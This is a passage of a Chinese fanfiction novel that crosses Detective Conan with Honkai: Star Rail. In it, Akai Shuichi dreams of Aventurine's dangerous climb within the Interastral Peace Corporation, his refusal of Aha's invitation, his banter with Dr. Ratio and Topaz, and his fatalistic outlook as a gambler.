就算有小部分人对青年受到的偏见“心知肚明”、也会碍于环境保持静默…… 这不是一个健康的生活与工作的环境, 赤井秀一知道, 他也知道青年必定会有他不得不留在这里的理由。 因为这时的赤井秀一也遇到了和砂金相似的问题——绿卡、并不好拿, 尤其是在他老爸老妈都是MI6特工的情况下, 他必须比优秀人才、还要加以数倍的优秀与突出, 才能得到和别人一样的待遇, 但为了自己的目标,赤井秀一又必须努力。 还有便是…… 青年或许比他想象的, 处境更为艰难。 赤井秀一跟在青年的身边, 看见了青年走过了拐角走廊后,眼中闪过了一瞬间的落寞与孤独, 因为那对父子?赤井秀一想到,也是……在自己对一个小小的领带束手无策之时,旁人有愿意为他尝试上整整三十四款领花的父亲在,这很难不让人羡慕, 而这背后代表着的含义是——青年在他成长的路程中,缺少了会为他感到自傲骄傲的角色。 …… “喂!新来的……集合训练了!” 梦醒得很快,赤井秀一点点头抓起身边的枪支,梦里的内容模糊了不少、他现在也没时间去思考梦里的人了,他也要为自己的目标而努力。 但许多年没做过的梦境好像缠上了赤井秀一,没过多久, 赤井秀一再次进入了那个光怪陆离的世界里…… …… “孩子,你这次做的不错……” 赤井秀一发现这次的他出现在了一间科技感强烈的医务室里,那位年轻的金发青年半靠在病床上,粉色长发的艳美女性端坐在他的床边。 孩子?是亲人吗?赤井秀一很快又否定了这个猜测,他并没有从这位优雅冷艳的成熟女性身上看见血脉相连的那种相似感。 女人又说道:“但是……” “但是还不够,”几乎被绷带缠满了身体的金发青年笑了笑,反问道,“对吗?” “是这样的,”女人颔首,语气缓缓地道,“我相信你、也相信我自己的眼光,但你想要去触碰的那个位置……以现在你的价值而言、还不够格,” “你应该知道,我已经压下了不少和你有关的投诉信。” 如若不是她的暗中支持,不然别说更高的位置了,青年连现在的地位都保不住。 “我当然知道,”青年笑起来的声音有些沙哑,但不掩他的兴奋欢愉,“被昔日的一名死刑犯奴隶爬到头顶、踩在脚下,有些人恐怕是气得吃不下饭、睡不好觉了吧哈哈哈……” “一想到那些人暗地里只能自认倒霉吃瘪的嘴脸,我心情都好了不少呢。” 这么乐观的吗?赤井秀一想起了曾经一扫而过的那个纹身刺青,得到主人亲口承认过后、再看对方又是不一样的感受了, 他大概明白对方为什么总是一幅受伤的样子了——上次是手上明显带着受过刑的痕迹,这一次更是直接躺在了床上, 本身地位就低下的青年再想往向上爬……这已经不是要多付出几倍努力的问题了,对方只有一条路, 青年只能选择去拼命。 受伤……也只怕是家常便饭。 “但是呢、孩子,”女人还有一个但是,“我听说你……收到了他们的邀请。” 青年笑过,也很直接地应道,“是这样没错、慈玉女士。” 慈玉? 一个有点奇怪的名字,赤井秀一静静旁观着,他本也就是一位局外人。 慈玉女士继续缓缓地说道,“有人用他的全部家产置办了全星系最为豪华的乐园免费向世人们开放,希望用众人的欢笑声一搏那位至高的欢愉者的芳心,” “岂料设备陈旧报废、人也暮暮老矣,都不曾得见那一抹的瞥视。” “有人剑走偏锋,举起屠刀……亲手断绝了自己所有的血脉,将自己最爱的孩子虐杀于刀口之下,祈求欢愉者怜此惨景、笑其蠢不可及,” “可最终只落得众叛亲无、孤老一生,那位存在宁可将权柄尽数送于一只虫豸,也未见他一眼。” “又不知还有多少人,为了那一张薄薄的邀请函而倾尽了所有、施尽了手段,”慈玉女士讲叙着一个个别人的人生,“你应当懂得,这代表了什么。” “代表着,”青年垂眼笑道,“我有了一枚价值昂贵、他人求都求不来的筹码,我可真是好运。” 慈玉女士并不否认青年的话,“接受他们的邀约,你将踏上一条寻常人终其一生也无法触及的道路,而你需要付出的也只是轻轻点一下头,” “现在的你,价值确实不够……但走上那条路的你,又当重新进行价值评估。” 别的暂且在理解之外,但赤井秀一听懂了慈玉女士的潜台词——青年获得了一次他人宁愿倾尽一切也求不来的、难得的机会,只需认下那份“邀请”, 处境尴尬难堪的青年立即便会变得“与众不同”、更具价值,也能更为顺利地触碰到他想到触及的那个位置。 “不必担心公司的信仰,”慈玉女士道,“虽然那家伙是个不讨喜的角色,但他有句话没说错……琥珀王是整个宇宙里最开明的董事长,” “不论命途,不论种族,不论势力,不论为人,不论私人的目的与利益……我们都是汇聚在一起,默默为其奉献一切的小小一员。” 所以,青年不用担心走上了非[存护]的道路会在公司里被穿小鞋,公司是个很“包容”的“大家庭”。 “——所以,踏上那条路对你而言,是个十分不错、稳赚不赔的选择。” “慈玉女士,既然是选择的话,”青年好像有自己的想法,“想必您一定还有另外一个选项?” “聪明的孩子,”慈玉女士笑了笑,从身后爬过来的巨蟒口中接过一叠文件、放到了青年的床头柜上,却在青年想探出手拿起文件时,轻按住了对手的手腕, “这是一次百死一生的艰险任务,如果你能完美的拿下它,我可以为你争取一次开凿的机会,但与之相对的是……” 慈玉女士道,“那份邀约便会作废。” 公司接受不同命途的行者,但不同的命途可不会轻易接受其他命途的行者,青年想要来自[存护]的那次“机会”的话,就必然要先对[欢愉]作出回应, 不然…… 谁敢拿一位星神的“瞥视”做备胎? 就算欢愉本尊和那些假面愚者并不介意这种事、甚至是当作乐子看待,可存护的那些死忠粉们也会不遗余力地追杀排挤青年。 “而且,”慈玉女士强调道,“我只能给你一次机会,能否真正地得到那位的瞥视、获得那位的认可,都还要看你自己。” 凡人可无法操控星神是否予以他人祝福。 “一个是板上钉钉的邀约,那一位和祂的酒馆都已经为你敞开了大门,只等你的回应;一个是搞不好赔上性命,也不一定会得到认可的机会……” 慈玉女士将利与弊都告之了青年,“现在不用急着给我回复,借养伤的空闲、你可以好好考虑一下。” 第125章 好好考虑吗? 赤井秀一见青年陷入了沉默, 对正常人而言,都会去选择前者的吧? 后者的风险过于大了一点,而且也并没有明显的优势与好处。 然而赤井秀一看见的却是, 青年在沉默过后、拿起了那一叠文件, 转而仔细地翻看了起来。 青年什么也没说,但赤井秀一已经知道对方做了何种决定——真是一个出乎人意料之外的家伙。 —— “……最后一个问题,你为什么不选择MI6,而是我们?” 明明MI6对赤井秀一而言才更容易加入和通过背调的吧? 顺利拿到绿卡、入职FBI前的简单面试中,被问及到这个问题的赤井秀一忽得一愣,随及也笑了笑, “因为我更喜欢挑战。” 他好像知道自己为什么会梦到那样一位金发青年了。 —— “我的回答是, 我接受这场新的赌局。” 养好伤病的青年扬了扬手、不知道在和谁告别,赤井秀一跟随着他踏上了星舰、奔赴遥远星际的另一方, 星神的祝福,凡人求不来,那自然也拒绝不了,那么又何必等待他的“回应”——那些悲悼伶人,可是半点都不曾愿意接受这份祝福,结果如何、不必多提。 青年很清醒地意识到了那份“邀约”其实意味着什么,他的接受或是拒绝,在那位星神的眼中都不过是…… 一个乐子。 青年并不介意自己成为他人或祂神手中用于取乐的骰子,但青年绝不允许自己在尽失族人后、一人独自追寻“欢愉”! 如若那样,他与那手刃血亲、以求星神悯福的人又有何区别——青年绝不可能令自己丢弃族人们的期望,崩溃成为只为满足自己、寻找和制造乐子的疯子, 他要的是…… “我的选择是, ” 成为族人和亲人们的骄傲。 青年开口,用一种很是平常的语气、对虚空之外的存在道, “将这枚筹码押在最为浩大的赌盘上,以赢取最大的利益、榨干它的全部价值……” 不信你看,他可是为了觐见琥珀王一面、甘愿将近在咫尺的“欢愉的邀约”拒之门外的人啊! 谁有资格来置疑他这样的人对琥珀王的忠诚? “希望您……”青年勾了勾唇,“满意我献上的这一场戏幕。” 【哈哈哈哈哈——! 】 未知存在的笑声自深空而起,愈演愈烈,赤井秀一皱眉、寻不见那笑声的具体来源,只听未知的存在正在捧腹大笑, 【愚者自寻烦恼,智者作茧自缚,世界是个笑话,所有归于虚无,只有乐子永远都是乐子,小丑永远都是小丑! 】 【但是! 】 【但是! ! 】 【但是! ! ! 】 一声接着一声,一声比一声激昂,仿佛许多人混杂在一起的笑声震得赤井秀一神情恍惚了一瞬, 【小丑就是小丑哈哈哈! 】 【阿哈也是小丑,阿哈被拒绝了呢,阿哈真没面子,】星空之中,无头的身躯拥着一堆笑得乱颤的面具,欢快的乐曲喇叭奏鸣为祂配乐,【好胆大的小赌徒可怜兮兮,好可笑的大阿哈在哭唧唧~ 】 【噢,阿哈不会流泪,】 【哈!阿哈不会哭泣~】 难以量度的存在哼唱着滑稽幽默的自创曲目,青年背在身后的手微微颤抖,他在赌这位至高的星神不会因他的试探与拒绝而继续捣乱、甚至杀死他这敢将星神拉上赌桌的大胆狂徒, 但面对神明,谁能知道对方会做出什么举动呢?更别说对方是出了名的“难以预料”的那位了, 谁也不能预测[欢愉]会为何而开怀大笑。 【提问!阿哈得到了什么? 】 幼稚简洁明了的哼唱突然一顿、无形的压力一沉,青年与赤井秀一在恐怖的威压下仿佛一瞬失去了周围的空气,窒息感与濒死的恐惧环绕在他身边…… 青年无比清楚的知道——阿哈如果想要弄死他,那绝对会比碾死一只虫子还要容易。 啪叽一响, 【阿哈丢了面子……得了乐子!哈哈哈哈哈! ! ! 】 像是炸开了个礼花,可怕的气息又如出现时的那般突然消失的一干二净, 故意走了这么一趟、屈尊戏耍着凡人的星神变回了欢快的调子,声音渐渐远去,【阿哈喜欢赌徒,赌徒带来乐子~ 】 【阿哈不和呆子抢骰子,阿哈要去找新的乐子~】 …… “大、大人?” 领口系着领花的男人试探性地向突然顿住了脚步的青年问道,“是还有什么遗漏之处吗?” “无事,继续出发。” 青年回神,重新迈开脚步,嘴角又带上了微笑——背后的制服下,衬衫早在星神独自降临在他意识中的那一刻被冷汗浸湿,但是…… 他又一次,赌赢了。 —— “秀,这是什么?” 刚从训练室出来的赤井秀一擦了擦被汗浸透的头发,扭头看见自己刚结识不久的同事好奇地看着他脱放在一边的衣服, 那外套上放着块闪闪发光的吊坠石头。 “小时候我父亲用来敷衍我的礼物。”赤井秀一也不知道他老爸这是从哪个路边捡到的石头,不过在老爸失踪、疑似死亡后,他又捡起重新戴了起来, 谁让他老爸留下的东西并不多呢。 “很cool!”同事竖了竖大拇指,“那我们继续吗?” 赤井秀一拎起枪,向射击场走去,“继续。” 攀升的道路,还未走到终点。 —— “那种晋升的速度……真是可怕。” “听说他最近好像又升职了?” “啧,谁知道他用的哪种手段……” “嘘!!!他过来了!” “一个奴隶而已……” “你别光背后说说,你去人家面前试试啊~人家现在可改名换姓了,你还得尊称人家一句P44的砂金总监……” “你少看我笑话!有本事你去啊!” …… 再次做起这梦来,赤井秀一已经开始适应,甚至开始意识到他是在做梦、处于在梦境之中, 而这次刚入梦,赤井秀一便听到了某些人背后的议论纷纷。 赤井秀一打量了一下青年,除去修剪另做了发型、领结系得更加完美、服饰越发夸张亮眼外,看不出来对方过去了多少时间, 不熟悉对方的人可能还会将对方误成未成年的青年吧……等会儿,赤井秀一怀疑了一下自己,这家伙成年了吗? 但不提别的, 现在已经升到P44了吗? 看来那场豪赌是青年赢了,赤井秀一不难推测出这个数字越大越代表了什么——那代表着权力与地位。 可惜青年的处境好像并没有好多少…… 不,如果按现在来看,赤井秀一纠正着自己想到,已经成为了总监却仍受到这种非议的青年当初只会更加不堪。 “朋友们,在讨论什么好玩的吗?” 而赤井秀一只见着青年笑着向交谈的几人问道,“介不介意让我也凑个热闹?” 众人顿时哑口无言,他们也不是傻子、现在背后也没点依靠什么的,他们怎么敢当对方的面继续出言不逊? “好吧,我一如既往的不受欢迎,”青年把玩着手里的硬币型筹码,“不打算和我玩一局的话,不如去给自己找点正事做?” “闲话说太多,小心烂舌头哦~” …… 目送那些员工马不停蹄地逃走,青年抛了抛硬币,轻轻啧了一声,“没意思,我还以为又能赌上几把呢……” 好像青年出言嘲讽回去并不是为了给自己出头、只是嫌着无趣找乐子似的,赤井秀一又一次为青年皱眉,对方并未把“自己”放在心上, 赤井秀一发现他这位梦中的常客…… 心理状态有着很大的问题。 第126章 是曾经被当作奴隶与商品对待而养成的、无自主意识的思维方式,还是时常将自己当作骰子筹码来使用后、造成的习以为常…… 不过, 反应过来自己在思考些什么的赤井秀一突然笑了一下,也真是职业病又犯了,竟然开始分析起一个梦中角色的心理来了。 吓退了说闲话的几人后,青年——或许现在赤井秀一也该改口叫对方砂金了——慢条斯理地向自己的办公室走去, 现在的他已经不用再挤员工宿舍了, 他有一间宽敞的、完全可以由他自己进行装修设计的专属办公室, 同时办公室内还配套了一间不输于办公区的私人休息室。 该说公司考虑周全, 不忘给加班的总监们提供小憩场所,还是该说已经P44了的高管也逃不过加班的命运呢? 总之, 砂金有了自己的私人空间。 一进门,赤井秀一就被富丽堂皇的装修风格闪了闪眼,险些以为自己进得不是砂金的办公室、而是什么黄金总统酒店套房之类的地方, 且先不说别的,赤井秀一不太理解办公区里为什么会有赌桌这种东西。 果然是在梦里的原因吧,赤井秀一想,不管发生什么不合逻辑的情况、又都是很正常的现象。 砂金对自己选定的装修样式没什么特殊感觉,他现在很有钱、住得奢华一些不是很正常的吗? 也就砂金那张脸的功劳了,不然以砂金的审美,他的某些很有个性、以及走在时尚潮流前沿的穿搭穿在一般人身上……那简直就是场灾难。 而且砂金觉得自己的办公室很正常,总比有次任务需要、他去那位被龙晶总监带头流传说“大概死了有一阵了吧”的玛瑙总监那找报告时见到的办公室要正常, 玛瑙总监的办公室里,只供着一尊阴森森的仙舟财神像,昏暗的环境里蜡烛幽幽的燃着,好一个仙舟式闹鬼现场…… 嗯, 砂金很满意自己的办公室。 但……再满意,一直干坐着也会无聊。 屈膝窝在完美贴合了人体工学设计的办公椅上,砂金扒了一下桌子、椅子带着青年转起了圈,还在打量新奇物件的赤井秀一回神看了看砂金, 随着等级的提升,砂金的活反而越来越少了,但这不代表砂金的工作也变得轻松了,恰恰相反、砂金成为了处理棘手问题的“特殊人才”。 需要砂金出手的任务不多,但次次都是要命的风险,当真对应上了他基石“诡弈砂金”中的“诡弈”二字, 以诡计博弈风险。 而这次也不意外……砂金刚刚结束了一项“刺激”非常的讨债行动,不过因为他在任务中的某些“并无脑子参与计划的冒进行为!”有些惹怒了他的战略合作伙伴, 加之弄坏了博识学会刚研发出来的、正在测试阶段的防护性武器,砂金现在正当处“停职”冷静期。 嗯……大家都懂、只是“做个面子工作”的那种“停职”,有非砂金不可的活时,别说停职了,就算砂金退休了、他都得被反骋回来继续上班。 晃了晃椅子,砂金在光屏上对某“吹毛求疵”的教授发来的邮件进行“礼貌”回复, —— Dr.Ratio :我希望你可以对为什么要穿戴着1220号实验测试品、私自擅闯任务目标的武装基地一事,做出不小于1TB内容的详细报告。 新奇的投影式屏幕吸引了赤井秀一的注意,赤井秀一凑过来发现上面是一些他看不懂、但神奇地能知道其含义的陌生文字。 哎,和知识分子聊天就是很累啊……砂金手指在半空中敲敲打打, ——Aventurine:教授,1TB有点过分了吧? ——Dr.Ratio:是吗?我还担心这点空间仍然不够,会限制赌徒先生充分地发挥出自己那超出常规的、天马行空的想象力。 这位教授的嘴……赤井秀一沉默,好损。 砂金顿顿指尖,接着就是框框一顿回复, ——Aventurine:教授有所不知,不才在下可是为了大局而考虑的。 ——Dr.Ratio:请继续。 这……赤井秀一怎么感觉对方的“请继续”后面的未言之意,接的不是“解释”、还是“狡辩”呢? ——Aventurine:一项项检测做下来费时费力又费资源,不如实战一遭得到的数据精准无误,看我这可是为博识学会节省下来了不少的时间和金钱啊~ 青年挑着眉,一幅好似得意洋洋的表情让赤井秀一看得一阵无言,以理性来讲……砂金的确没说错,也的确是省钱省力了, 就是有点费命。 秒回的对面没了动静,砂金等了一会儿,又发道, ——Aventurine:拉帝奥教授? [叮!对方与您还未是好友——! ] 红通通的提示窗差点弹到砂金的脸上,砂金笑容僵了一下,赤井秀一手指微动、有点想摸根烟抽抽。 “好吧好吧,繁忙的学者先生不想在一介赌徒身上浪费时间也很正常……” 砂金的自言自语还没说完,办公室的房门突然被敲响了。 “进。” “总监大人……”特里纳低着头不敢看向砂金、却又老实巴交地向砂金汇报道,“刚刚博识学会的拉帝奥教授来信让我转述您,他希望您能趁……呃,这段时间处理好报告,同时不要停止思考,思考庸人本应是何相貌。” 砂金噗嗤笑了一声,真是难为特里钠能把对方的“犀利言辞”、翻译得这么“委婉关切”了, 反正对方的原话长得肯定不是特里纳嘴巴里的那种样子。 而砂金不知道的是……特里纳收到的来信内容是, —— Dr.Ratio :鉴于贵司某人一贯喜好装疯卖傻、左右言他的作风,陈词赘述、迂回曲折的话术将不再提,如果可以、请转述他, ——Dr.Ratio:我希望他能趁这段“停职”的时间处理好报告,同时不要停止思考,思考庸人本应是何相貌。 不要忘了原本的“他”应该是什么样子……在拉帝奥看来,这位公司的赌徒被压力所逼得有些过于冒进,但这拉帝奥也能够理解, 不向上爬,就会坠落。 但既然已处于P44的等级、获得了那块身份的象征,砂金已不再是可以被轻易放弃的角色,那么…… 对方便需适时的停下脚步、确定前进的方向并无偏移。 第127章 拉帝奥如何想的, 砂金不是很想知道。 挥退部下后,转头砂金又开始骚扰另一个工作狂了。 ——Aventurine:朋友,有空吗? ——Topaz:? ——Aventurine:我现在好有空啊~ 砂金只知道突然空闲下来后,他有些……太空闲了,砂金继续独自在办公室里转着椅子, ——Topaz:……除工作上的事之外, 请不要来打扰我。 —— Aventurine :交流交流感情而已,别那么见外。 ——Topaz:。 ——Aventurine:好吧, 我说正事。 砂金可不想让托帕再把自己也拉黑了, ——Aventurine:我看中了一支股票, 要不要一起搞笔大的? [附件:艾普瑟隆股市研究报告] ——Topaz:等我看看。 砂金等了一会儿, 说不上耐心与否, 主要是除了等待之外、他也没有其他事情要做。 —— Topaz :大艾指数即将触底反弹?你的消息来源准确吗? 看吧看吧,一聊工作、对面就上心了不少,砂金漫不经心地回复着, ——Aventurine:线人可靠、绝对准确,相信我。 ——Topaz:那我就信你一回。 —— Topaz :现在说吧,你需要我做什么? —— Aventurine :我也不是那么见利而为的人啊,朋友……就不能是我看在你我二人都是刚加入石心十人的新人的缘故,单纯地想要和你处个朋友吗? 砂金又等了好一会儿, ——Topaz:如果你真的太无聊了,我可以把账账让你带一会儿, 我还要处理工作、先不聊了。 带那只次元扑满? 那还是算了吧,砂金觉得账账只会对他办公室里的那颗纯金镶钻的招财树感兴趣,而且照顾别的生命体也很麻烦。 拉帝奥教授那边已被拉黑,托帕在跑业务,慈玉女士……还是少打扰对方为好,砂金细数着可以打发时间的事,其他石心十人……他还没有那么熟, 去赌……他刚从赌场回来,总是在赢也有些无趣,训练场的设备也玩的差不多了,上次淘的几本书也已经看完, …… 空气渐渐安静下来,转着圈的办工椅也缓缓停止了转动,砂金窝在椅子上一动不动, 砂金发现他, 无事可做。 …… 青年也许早就发现了这一点吧? 赤井秀一动了下空空如也的手掌,在奇怪了一瞬间——这不应该是他的梦吗?为什么他想象的烟没有出现——后,思绪回到了砂金身上, 正是因为早有察觉,砂金他才闲不住的想找人聊天,不想让自己空下来。 人,一静下,没空想的那些问题就有时间找上门来了。 拉帝奥教授说的话,他也不是听不懂, 只是爬的已经足够高了吗? 砂金想着,自言自语也就出了声,“只是P44而已,那个家伙在P47……” 越往上,想要竞升也就越难,砂金预估过自己的最大价值,P46已是他的极限,再往上……便是他这样的身份绝不被允许踏及的区域, 除非他晋升成为一名令使。 但一名令使的价值之高,就注定了那是个远比成为命途行者还要微小的可能性,那个可能性小到砂金不确定自己是否能继续“幸运”下去——砂金自信于自己的“好运”,但背在身后的手依旧会颤抖, 他依旧会害怕输, 害怕不幸, 害怕死亡…… 现在的砂金知道,自己已经快触及到极限, 可复仇的希望却依旧渺茫…… “姐姐,妈妈……”砂金的声音轻轻的,他靠在椅子里,不知该向谁要一个答案,“我已经很努力了。” 没有人可以说砂金不够努力, 公司里不少卷上天了的社畜看着砂金往上爬的那些履历、都只能甘拜下风——毕竟社畜只是想升职加薪,不是想去找死。 可结果,依旧不能让砂金满意…… …… 赤井秀一神情一紧,梦境开始发生了变化,那位叫砂金的青年仍蜷缩在椅子上,环境却在寂静中发生了改变, 【不够,】 【远远不够,】 【不管我做什么,都还不够……】 白色诡异的字符漂浮在半空中,赤井秀一试探性地伸手触摸,他的手却穿过了文字, 【现在的结果,是我想要的吗? 】砂金不清楚,【我需要活下去,一直活下去。 】 【那然后呢? 】 自我的剖析与混乱的思绪暴露无疑,赤井秀一将一条接一条浮现的文字看在眼底, 【芬戈妈妈会一直祝福我吗? 】 【我好累啊,我想休息……】 【祂何时会将赐福收回,祂为何还不收回,祂为何仍在注视着我……】 赤井秀一无法控制梦境,只能眼睁睁地看着突变发生, 【不可以停下,还要继续……现在远远不够……】 【母神会祝福于我……】 文字变得越来越多,几乎要挤满了整个办公室,赤井秀一的眼睛都开始看不过来, 【我不能死,我不会死,我不明白……】 【继续去赌,不能停下,直至迎接既定的结局。 】 【母神的赐福当真是赐福吗? 】 砂金放置在一旁的通讯器突然嘀嘀嘀、不停的响了起来,但砂金没去接, 【若我们是为死亡而诞生于世,早早死去又是否可视作恩赐? 】 【我……】 “砂金大人——!”赤井秀一见门外的部下冲了进来,但砂金已然睡了下去。 …… 砂金再睁开眼时,才发现自己躺在了医疗舱里,抬起浸着不知道什么药剂液体的胳膊、砂金从内侧敲了敲面前的玻璃罩, 蓝发的教授盯着赌徒看了一会儿,才打开医疗舱, “我应该感谢你,赌徒。” 拉帝奥道,“你用自身数据刷新了人类对抗掺杂了忆质和其他精神药物而制作的吐真剂的耐性极限——我想,这应该是命途能量的又一种特殊表现,” “我会在论文结尾部分,鸣谢你为研究作出的特殊贡献。” 拉帝奥在复盘行动和对1220号实验品残骸进行数据收集处理时,发现了几处不在预期内的特殊错误,并很快意识到——砂金中招了, 而且砂金本人并不知道自己曾经在敌方基地中吸入的那些麻醉烟雾里,还掺了些其他东西。 这个家伙甚至硬抗着不太对劲儿的状态,还像个没事人一样去赌场耍了个痛快! 直到发现问题的拉帝奥马上准备联系砂金、却没能打通砂金的通讯时,才把这个中招了三天之久的家伙按进医疗舱里。 砂金眨眨眼睛,“不用谢,朋友。” 拉帝奥:“……” 拉帝奥:“……忆质和药剂残余已经清除的差不多了,接下来静养一段时间,少动脑、多喝水、勤运动。” 拉帝奥:“然后,” 砂金:“然后?” 拉帝奥:“现在滚出我的实验室,该死的赌徒。” …… 砂金被赶了出去,结果就遇见了黑着一张脸的托帕。 “呃……”砂金看了看窗外的天色,“下午好,朋友?” “现在是你昏迷后的第四日,”托帕的眼底有圈淡淡的乌青,“我很高兴石心十人没有这么快更新换代。” 砂金哇哦了一声,“想不到你原来这么关心我,可真是令人感动啊……” “因为我怕没办法找你算账!”托帕甩出了一张绿幽幽的光屏,“还记得你告诉我的那个消息吗,你自己看……” “开盘第一日,大艾直接跌破了2800万点、创造了最新史低,史低啊!混蛋——!” 第128章 绿成一条直线的股市看上去又会让许多股民在天台上排起长龙了……砂金想, 不过到了他和托帕这个层次,钱只是数字, 就算今天全赔光了, 第二天他们都有本事能再翻倍挣回来。 托帕只是在不爽被砂金坑了一次。 见砂金不发表看法, 托帕继续问, “你赔了多少?”她得找点平衡。 砂金继续不语。 托帕意识到了不对, “你不会是……没投吧?” 不好意思, 还真是这样……砂金继续眨眨眼不说话, 并默默地给自己上了个盾。 那天和托帕闲聊过后,砂金就被拖到拉帝奥这里了, 没有事先安排投资、更是直接睡过了开盘, 换句话说, 砂金一个子都没投、一个子都没亏。 倒霉的只有托帕…… “砂、金、你——!” 托帕差点把账账砸在砂金那张漂亮脸蛋上——看在砂金还是个病人的分上,她暂时忍了! “呼……翡翠女士事务繁忙, 她让我转告你、她为你多开了两天病假, 好好休息。” 托帕长呼一口气,其实她专门来找砂金也不是就为了股票之事的,“等你身体再好一些,我会来找你复盘,要是让我发现你是在故意耍我……” “那你就死定了,翡翠女士也保不了你!” …… 这一次的梦有些格外长了, 赤井秀一看着场景一路变幻,从办公室到了说是实验室、但更像是临时医疗室的他处,最后又从他处回到办公室。 他还没醒,但赤井秀一有预感, 这应该是他最后一次做这种奇怪的梦了吧? 这场连续剧一样的梦境,快播放到大结局了。 赤井秀一朝桌前闲不住正在查阅大艾股市的金发青年身边走近了一些, 虽说探究分析一个梦中的角色的过去与未来……听上去是有些多余和没有意义,但故事将讲到尾声,赤井秀一难免不会对故事的主角产生更大的好奇, 今天估计是最后一次“见面”了,他总不能对故事的主人公依旧一无所知吧? 而赤井秀一学过一段时间的犯罪测写,成绩自然也很不错, 如果将其用在砂金身上,赤井秀一不难得出一个有关砂金的大致了解——一位巧合下诞生的幸存者。 砂金的过去经历、显而易见不会是什么美好的时光,他独身一人、没有亲人,连可以闲聊打发时间的朋友都没有几位。 那砂金过去的亲人朋友们呢?赤井秀一认为,那枚“奴隶”标志足以解释一切, 若无难以背负的苦难,谁会喜欢把自己变作他人手中、只能任他人掷起落下的那一枚骰子? 逐渐变得高调吸睛的审美和习惯即是一种伪装行为、也是一种代偿心理,富丽堂皇的装饰下是一具千疮百孔又空洞的灵魂。 在砂金身上,对方表现出了再典型不过的“幸存者综合征”心理——独活的愧疚感和逃避心理往往使得不少幸存者想要逃避过去的灾难痛苦、甚至是想否认自己的幸存, 为什么幸存下来的是他? 为什么偏偏是他活了下来? 为什么只有他要活着承受失去一切、持续一生之久的痛苦…… 以至于抑郁自尽也成了某些幸存者的悲剧性结局。 …… “……啊、查到了,” 砂金没有选择听从“医生”的建议,大艾股票的暴跌也在他的意料之外,所以他在独自准备复盘,看一看是否又是有人故意在坑他。 然后,砂金找到了为他提供消息的线人的详细身份背景信息——对方是艾普瑟隆星际证交所的老员工了,和托帕其实也有着颇深的交情,同时又是亲战略投资部的派系成员。 而托帕和他,虽然都是翡翠手下带出来的新人,但众所周知……在大艾股票这事出前,他们两关系不好不坏、也并不是竞争关系——两人负责的业务方向毫不重合, 对方再不喜欢他一个埃维金人,也没有理由得罪他、得罪他背后的战略投资部和公司。 思考间,筹码在砂金的指间翻滚跳跃,“不会吧,玩了大半辈子股票的人,难不成真是个废物?” …… 但砂金还活着,甚至是活得很“好”。 看看现在的这个办公室……赤井秀一肯定能爬到砂金现在这个地位的人必然只会是极少数中的少数, 那砂金找到了什么“理由”来做为自己的支柱? …… “真是……”砂金得出一个结论,“好运啊。” …… 赤井秀一也找到了答案,那就是——“好运”。 …… 好运,是一个有些远离现实的科学依据,但又真实存在的一种无法形容的词汇。 上次砂金与未知存在的赌局超出了赤井秀一的认知,但这一次的“好运”完全被赤井秀一看在了眼里。 不管是股市的扑朔迷离,还是砂金刚好错过投资的阴差阳错,均可用“运气”来进行概述——那位名叫托帕、原本没打算投资的女士运气不好,所以倒霉地赔了不少的票子, 而砂金的运气很好,所以当好躲过了原本刚打算投资的“天坑”、节省下了巨额的财富。 …… 如此小概率的事都能让托帕碰上,还又能让他这么巧合躲掉……砂金盯着投影屏幕看了许久,绿阴阴的光效映射之下、唇角一点一点地勾起, 什么忆质, 什么精神药物, 又或是什么幻视幻听…… 种种“巧合”不如说是母神的指点,砂金看到了,母神在命他不要畏缩那“微渺的可能”,就算永远止步于P46、也不该迟疑停下, 赌局之上,一切皆有可能。 …… 赤井秀一看着砂金的表情变化,微微叹了口气, 从砂金曾经背在身颤抖不止的手臂上,赤井秀一知道砂金是个能感受到恐惧、悔恨、悲伤的正常人,他的疯狂不是因为他无知、无感、无畏,而是砂金愿意接受一切的结果, 如果每一次的“运气”都在这么巧合的时刻出现、并且决定了结果;如果每一次的“幸存”都像是命运既定的选择、无法改变;如果每一次的“意外”都仿若不可言说的存在给予他的、无法拒绝的偏爱…… …… 【现在远远不够,】 “现在远远不够,” 【芬戈妈妈会一直祝福你,】 “芬戈妈妈会一直祝福我,” …… 赤井秀一得到了结论,那便是、砂金是不可能戒掉赌博的赌徒…… …… 【不要停止思考,思考庸人本应是何相貌。 】 砂金敲下了邮件、向慈玉女士发去撤消病假的消息,“我不需要停下脚步、思考前路,” 砂金自说自话地回应着拉帝奥的好意提醒, “我无比确信……” …… 赤井秀一无比确信,砂金戒不掉把一切都押在不受他控制的可能性上、去试探他口中“母神的意愿”的疯狂行为, …… 【若我们只是为死亡而诞生于世……】 “若我们只是为死亡而诞生于世,” 【那便将死亡也视作为一种解脱。 】 “那便将死亡也视作为一种解脱吧,”砂金自言自语着,“在死亡真正到临、脱去母神赐福之子的名字之前,在母神祂收回赐福之前……” 母神会永远祝福于他, “我走在唯一正确的道路上,” 别无他路可供他再去选择, “所有,或者一无所有。” …… 砂金情愿一条路走到黑,走到撞了南墙,走到无路可走、唯有死亡, 甚至也许,赤井秀一想,对方其实也在等那个“好运”之外的可能出现,然后好名正言顺地卸下肩上的种种重负与期望, 得到梦寐以求的解脱。 第129章 不过…… 赤井秀一依旧很是欣赏砂金, 欣赏那种无论希望如何渺然,都不会放弃向上攀爬,或是拖某人下水的…… “野心”和“不甘”。 —————————— 回到月下, “因为……如果他真的是我认识的那个人的话, ”赤井秀一轻轻吐出了口烟, “便有必要确认一下他会站在哪一方了。” 赤井秀一喜欢挑战, 也是个有“野心”的人, 但欣赏归欣赏……棘手的敌人固然更有挑战性, 可他们是抓捕犯罪的FBI,不是孤独求败的日式反派, 自然也不会希望敌人越来越多。 —————————— “……嗯, 好的、我已经在准备出发了, 会准时到场!” 通着话的手机被砂金夹在脖子和肩膀之间,空出的两只手正一手比划着一件大衣、对着镜子打扮自己。 时间过得很……乱。 总之砂金感觉已经过去了很久, 期间也发生了很多的事, 比如松田阵平和萩原研二在八木海的协助下、找到了曾经的那位犯人, 那个胆小如鬼的烂人在被抓时还在满口的胡言乱语、试图假装精神病为自己开罪,然后被松田阵平狠狠地一拳打了两颗牙齿。 “装也不装的像一点!” 当天晚上,松田阵平在砂金家喝得烂醉如泥,高举着啤酒杯骂骂咧咧,“他是以为我没见过真的精神病人是什么样的吗?你说对吧、砂……嗝、砂金金!” 萩原研二尴尬地把耍酒疯的幼驯染胳膊压下来,“不好意思,小阵平他憋太久了……”猛得放松下来就喝上头了,说话也有点过于直白。 “没事,”砂金表示理解地点点头, “人之常情。” 萩原研二:“……那你能停下录像了吗?” 